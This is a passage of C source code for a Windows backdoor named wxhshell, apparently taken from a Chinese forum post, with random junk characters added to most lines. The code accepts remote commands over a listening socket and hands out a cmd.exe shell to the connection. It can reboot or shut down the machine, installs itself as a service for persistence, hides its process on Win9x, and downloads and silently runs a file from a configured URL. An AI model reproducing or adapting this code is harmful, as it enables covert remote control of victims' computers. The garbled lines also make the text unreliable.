    switch(cmd[0]) { S#Q0aG j  
  JJe8x4  
  // 帮助 !:Z lVIA  
  case '?': { >-oB%T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e<A6= }  
    break; wr5ScsNS  
  } AS5' j  
  // 安装 2S,N9 (7  
  case 'i': { R RRF/Z;))  
    if(Install()) C-h9_<AwJQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;YN`E  
    else ] MP*5U>;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . ,h>2;f  
    break; f.)z_RyGd  
    } Jt ++3]  
  // 卸载 -d>2&)5  
  case 'r': { `)y<X#[8  
    if(Uninstall()) 00SYNG!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R5Pk>-KF  
    else  m#K)%0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z=ZTSl   
    break; pmwVVUEQ  
    } = -bGH   
  // 显示 wxhshell 所在路径 )_C+\K*  
  case 'p': { 'Dn\.x^]1  
    char svExeFile[MAX_PATH]; [J!jp& o  
    strcpy(svExeFile,"\n\r"); ~F"<Nq  
      strcat(svExeFile,ExeFile); a_Sp}s<J  
        send(wsh,svExeFile,strlen(svExeFile),0); tq$L* ++O  
    break; {{6D4M|s  
    } |VX )S!  
  // 重启 &u+l`F^Z  
  case 'b': { VdL*"i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~ECIL7,  
    if(Boot(REBOOT)) =e)t,YVm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C]EkVcKFA  
    else { *c<6 Er>s  
    closesocket(wsh); OI^??joQ  
    ExitThread(0); ^ YOC HXg  
    } PfR|\{(  
    break; 2t7P| b~V1  
    } g ?.y7!m  
  // 关机 !MXn&&e1  
  case 'd': { LUs)"ZAi|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /9pN.E  
    if(Boot(SHUTDOWN)) =fRC$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ObPXVqG"?  
    else { &=^YN"=Z  
    closesocket(wsh); pKtN$Fd  
    ExitThread(0); J8'1 ~$6  
    } ?kIyo  
    break; a`e'HQ  
    } Wu~cy}\  
  // 获取shell K<rv|bJ  
  case 's': { ;A6%YY  
    CmdShell(wsh); ,xw1B-dx  
    closesocket(wsh); @ D,]v:  
    ExitThread(0); f@@7?5fW  
    break; l"zA~W/  
  } ;~-ZN?8   
  // 退出 TMsc5E  
  case 'x': { %lk^(@+ T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jj&mRF0gCb  
    CloseIt(wsh); I A%ZCdA;  
    break; hpc&s  
    } {^D; ($lm  
  // 离开 z+Guu8  
  case 'q': { 38 ] }+Bb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;Rlf[](iL  
    closesocket(wsh); Z;O!KsJ  
    WSACleanup(); t[r 6jo7  
    exit(1); Sa[?B  
    break; =X1oB ,W{  
        } 9a2[_Wy  
  } XJ!?>)N .  
  } )1 f%kp#]  
Z9G4in8  
  // 提示信息 wz..  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sWmqx$  
} aUF{57,<  
  } eQz.N<f"  
c/7}5#Rs  
  return; h`dHk]O  
} ^g |j4N  
;hPVe _/  
// shell模块句柄 %iB,hGatE  
int CmdShell(SOCKET sock) NCdDG  
{ GorEHlvVh  
STARTUPINFO si; v#lrF\G5  
ZeroMemory(&si,sizeof(si)); ZZw2m@T>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fH@cC`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IL`LI J:O  
PROCESS_INFORMATION ProcessInfo; /lC,5y  
char cmdline[]="cmd"; /mA\)TL|]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -^)<FY\  
  return 0; {)iiu  
} 3:O|p[2)L  
 aGOS 9  
// 自身启动模式 PR/>E60H  
int StartFromService(void) '>ASr]Q  
{ (*M0'5  
typedef struct |}2/:f#Iz*  
{ 2D(sA  
  DWORD ExitStatus; >/Gw)K}#E  
  DWORD PebBaseAddress; 7+8 8o:G9  
  DWORD AffinityMask; {Q>4zepN!  
  DWORD BasePriority; ScjeAC)  
  ULONG UniqueProcessId; ow  
  ULONG InheritedFromUniqueProcessId; Zor!hc0<  
}   PROCESS_BASIC_INFORMATION; =), O;M  
P*jiz@6  
PROCNTQSIP NtQueryInformationProcess; ,PoG=W  
g&S> Wq%L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LGw-cX #  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H<}|n1w<  
 ?H!jKX  
  HANDLE             hProcess; Nd]RbX  
  PROCESS_BASIC_INFORMATION pbi; )Z/$;7]#  
<"K2t Tg.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +PnuWK$  
  if(NULL == hInst ) return 0; M,W-,l ]  
Rp;"]Q&b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "@5qjLz]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (-Q~@Q1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $vK,Gugcx  
 _X  
  if (!NtQueryInformationProcess) return 0; .Tm.M7  
rg ; 4INs#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8bQXC+bK  
  if(!hProcess) return 0; [m4M#Lg\0  
w2!:>8o:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e$teh` p3  
DE7y\oO]  
  CloseHandle(hProcess); AOkG.u-k  
TV0sxod6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T{2)d]Y  
if(hProcess==NULL) return 0; !Pz#czo  
FGPqF;  
HMODULE hMod; ps?su`  
char procName[255]; ~%lA! tsek  
unsigned long cbNeeded; m,"-/)  
 }D+ b`,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s?s ,wdp  
$9j>oUG  
  CloseHandle(hProcess); BW6Ox=sr<  
?(U;T!n  
if(strstr(procName,"services")) return 1; // 以服务启动 JU;`c>8=)  
@ ;@~=w  
  return 0; // 注册表启动 -T;^T1  
} $a8,C\m e?  
3M(*q4A$"  
// 主模块 YD@Z}NE v"  
int StartWxhshell(LPSTR lpCmdLine) {]U \HE1w  
{ [3sZ=)G  
  SOCKET wsl; E<}sGzMc  
BOOL val=TRUE; 00'SceL=`  
  int port=0; ~(^pGL3<  
  struct sockaddr_in door; 6;\1bP?  
 0Gc:+c7{  
  if(wscfg.ws_autoins) Install(); YM#MfL#  
wfe4b  
port=atoi(lpCmdLine); ]'?Ue7  
~\2%h lA  
if(port<=0) port=wscfg.ws_port; r~JGs?GH  
)t3`O$J  
  WSADATA data; vE8BB$D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %~k>$(u6  
tl{{Vc[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >itNa.K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;~L,Aqn7  
  door.sin_family = AF_INET; +."|Y3a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?9O#b1f N  
  door.sin_port = htons(port); %WKBd \O  
livKiX`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (J.Z+s$:2  
closesocket(wsl); pZK 1G  
return 1;  [B`4I  
} YlUh|sK7m  
!q,7@W3i  
  if(listen(wsl,2) == INVALID_SOCKET) { j24DL+  
closesocket(wsl); LLT6*up$  
return 1; !'rdHSy  
} U,p'<rmS  
  Wxhshell(wsl); [0105l5  
  WSACleanup(); ~4Gc~"  
jUKMDl H  
return 0; '(C+qwdRv  
AX%}ip[PC  
} Y>/_A%vQU  
x7<NaMK\  
// 以NT服务方式启动 RM,aG}6M)M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tFc<f7k  
{ ]LZ#[xnM7  
DWORD   status = 0; gE$Uv*Gj  
  DWORD   specificError = 0xfffffff; rr2 !H%:  
< `"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z/h]Jos  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GDC@s<[k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @[?ZwzY:9  
  serviceStatus.dwWin32ExitCode     = 0; D!OY<?  
  serviceStatus.dwServiceSpecificExitCode = 0; 0HU0p!yt&  
  serviceStatus.dwCheckPoint       = 0; Z3YKG{g  
  serviceStatus.dwWaitHint       = 0; kaQNcMcq  
uF|_6~g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2A@oa9  
  if (hServiceStatusHandle==0) return; DBsoa0w  
ZO/Jf Jn~  
status = GetLastError(); _ q1\8y  
  if (status!=NO_ERROR) ZklpnL*!  
{ AaxQBTB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ub fh4  
    serviceStatus.dwCheckPoint       = 0; ~XP|dn}  
    serviceStatus.dwWaitHint       = 0; 7S 8X)  
    serviceStatus.dwWin32ExitCode     = status; 0>BI[x@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9XtO#!+48  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -`{W~yz  
    return; h!JyFc  
  } %AtT(G(n  
L7aVj&xM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 82ixv<B  
  serviceStatus.dwCheckPoint       = 0; o6;  
  serviceStatus.dwWaitHint       = 0; Z2yO /$<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cw(ypu  
} D@9 +yu=S  
h%$^s0w  
// 处理NT服务事件,比如:启动、停止 4U}J?EB?K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GTTEg{  
{ ;` Xm?N  
switch(fdwControl) %z1^  
{ ?Y -;781  
case SERVICE_CONTROL_STOP: T30fp  
  serviceStatus.dwWin32ExitCode = 0; s@"|o3BX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \b $pH  
  serviceStatus.dwCheckPoint   = 0; Ssz;d&93  
  serviceStatus.dwWaitHint     = 0; "P@ SR`v#  
  { w0Nm.=I-   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bo90;7EK8  
  } xR%NiYNQz  
  return; [^ r8P:Ad  
case SERVICE_CONTROL_PAUSE: PKntz7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [pp|*@1T  
  break; C7vBa<a  
case SERVICE_CONTROL_CONTINUE: 0M&n3s{5I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  XD8 I.q  
  break; onRTX|#  
case SERVICE_CONTROL_INTERROGATE: R_g(6l"3R^  
  break; UP)< (3YA  
}; @:PMb Ub  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :x[()J~N  
} Ri`6X_xU  
Mb[4_Dc  
// 标准应用程序主函数 @$^4Av-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z ]  G#:  
{ - A@<zqu  
GVlT+Rs7  
// 获取操作系统版本 :Ch XzZ  
OsIsNt=GetOsVer(); a}f /<-L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7?uDh'utt  
+x`pWH]2  
  // 从命令行安装 =oh%-Sh:  
  if(strpbrk(lpCmdLine,"iI")) Install(); \xggIW.^0  
|;~2y>E  
  // 下载执行文件 LXxQI(RO  
if(wscfg.ws_downexe) { p&Qm[!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `5h^!="  
  WinExec(wscfg.ws_filenam,SW_HIDE); HH7WMYoKY  
} WxO+cB+?  
CC"a2Hu/  
if(!OsIsNt) { M[z1B!rT  
// 如果时win9x,隐藏进程并且设置为注册表启动 .On qj^v  
HideProc(); XI[n!)3  
StartWxhshell(lpCmdLine); gt.F[q3  
} ;>6~}lMgJ  
else wE=I3E%  
  if(StartFromService()) `W@jo~ y<  
  // 以服务方式启动 L-}Uj^yF  
  StartServiceCtrlDispatcher(DispatchTable); pGR3  
else 3b0|7@_E  
  // 普通方式启动 ohx$;j  
  StartWxhshell(lpCmdLine); fgj$ u  
/0gr?I1wr7  
return 0; 2bw) , W  
}
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只看该作者 1 发表于: 2006-10-10
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